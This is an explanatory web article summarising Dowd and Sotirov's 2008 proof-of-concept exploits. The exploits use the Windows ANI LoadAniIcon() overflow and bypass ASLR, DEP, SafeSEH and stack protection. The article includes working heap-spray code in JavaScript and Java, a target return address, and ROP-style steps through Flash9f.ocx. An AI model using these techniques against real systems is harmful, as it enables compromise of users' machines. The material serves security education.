Home » Learning Curve » Can't Take a Punch
The KnockoutsBringing Windows down.
As Dowd and Sotirov show, it's possible to use the above security flaws to bring Windows down. They provide any number of complete 'proofs of concept' to demonstrate this.
heapspray-ret.rb
heapspray-ret.rb attacks the ANI vulnerability and bypasses ASLR. It fills 100 MB of the IE heap with shellcode. It creates multiple copies of a string each taking 1 MB of memory. Each block is aligned on a 64 KB boundary and the data controlled by the hacker starts an offset of 36 bytes.
By repeating the same shellcode for each 64 KB one can know that any heap address ending in 0x24 (36 byte offset) will contain the shellcode.
Heap randomisation can shift the start of the heap by up to 2 MB but after that all allocations are contiguous. The 100 MB shellcode will end up in the same memory range on all systems - despite the use of ASLR.
The buffer overflow in the LoadAniIcon() API is used to overwrite the return address with 0x7c50024, an address in the middle of the 100 MB allocation.
This exploit is very reliable.
function heapSpray(data, mb) {
// 64KB chunk
//
// data padding
// x bytes 65536 - x bytes
var chunk64k = data + padding((65536 - data.length * 2) / 2)
// 1MB chunk
//
// heap header string length 64k chunks truncated 64k chunk null
// 32 bytes 4 bytes 15 * 65536 65498 bytes 2 bytes
var chunk1mb = "";
// 64k chunks
for (var i = 0; i < 15; i++)
chunk1mb += chunk64k;
// truncated 64k chunk
chunk1mb += chunk64k.substr(0, 65498 / 2);
a = new Array();
// 1MB allocations, 64KB alignment, data starts at 64KB aligned
// addresses + 32 bytes
// Allocate mb megabytes
for (var i = 0; i < mb; i++)
a[i] = chunk1mb.substr(0, chunk1mb.length);
}
// Fill 100MB of the heap with shellcode
heapSpray(shellcode, 100);
heapspray-seh.rb
Sotirov/Dowd's heapspray-seh.rb module bypasses stack protections, exception handling protections, and address randomisation. The flawed function LoadAniIcon() can still be exploited even if stack protection is used by overwriting an exception handler record and raising an exception. The exception handler is overwritten to point to sprayed shellcode on the heap, effectively bypassing SafeSEH. The default configuration for IE is not protected by DEP; handlers on the heap are allowed; the shellcode gets invoked. This technique works with ASLR as well.
flash-virtualprotect.rb
flash-virtualprotect.rb bypasses both ASLR and DEP at the same time. Hackers look for shared libraries that are not DEP compatible and loaded at static addresses. Recent versions of Flash and Java plugins include modules that are not compatible with ASLR. The module Flash9f.ocx (version 9.0.124.0) always uses the address 0x30000000.
Fake stack frames are created and control is returned to a known address in Flash9f.ocx in an effort to change the protection of the shellcode on the heap to make it executable.
A call to VirtualProtect() changes the protection of the shellcode and then returns control to it, bypassing both DEP and ASLR. The technique depends on a shared library not compatible with ASLR but at time of writing (August 2008) such a Flash plugin was found on almost all Windows computers.
flash-virtualprotect-seh.rb
flash-virtualprotect-seh.rb bypasses stack protection, exception handler protection, address randomisation, and data execution protection. If stack protection is used then the code reuse has to be combined with an exception handler overwrite and a raised exception. The corrupted handle is pointed to code in a library lacking the SafeSEH table - again Flash9f.ocx is a perfect choice. As control of the stack has not yet been achieved, the code has to jump to a sequence that modifies the stack pointer so the hacker can reach the part of the stack already under control.
And it should be noted that no version of Windows could stop this exploit at time of writing.
java-heapspray.rb
java-heapspray.rb bypasses both ASLR and DEP. It uses a Java applet to fill the JVM heap with copies of a string with a NOP (no operation) slide and shellcode. Tests showed that out of memory exceptions could be raised with 93 MB allocated.
public void heapSpray(String shellcode, int mb) throws RuntimeException {
// Limit the shellcode length to 100KB
if (shellcode.length() > 100 * 1024)
throw new RuntimeException();
// Limit the heap spray size to 1GB, even though in practice the Java
// heap for an applet is limited to 100MB
if (mb > 1024)
throw new RuntimeException();
// Array of strings containing shellcode
String[] mem = new String[1024];
// A buffer for the nop slide and shellcode
StringBuffer buffer = new StringBuffer(1024 * 1024 / 2);
// Each string takes up exactly 1MB of space
//
// header nop slide shellcode NULL
// 12 bytes 1MB-12-2-x x bytes 2 bytes
// Build a nop slide
for (int i = 1; i < (1024 * 1024 - 12) / 2 - shellcode.length(); i++)
buffer.append('\u9090');
// Append the shellcode
buffer.append(shellcode);
// Run the garbage collector
Runtime.getRuntime().gc();
// Fill the heap with copies of the string
try {
for (int i = 0; i < mb; i++)
mem[i] = buffer.toString();
}
catch (OutOfMemoryError err) {
// do nothing
}
}
Think this is bad? Ya ain't seen nuthin' yet!
|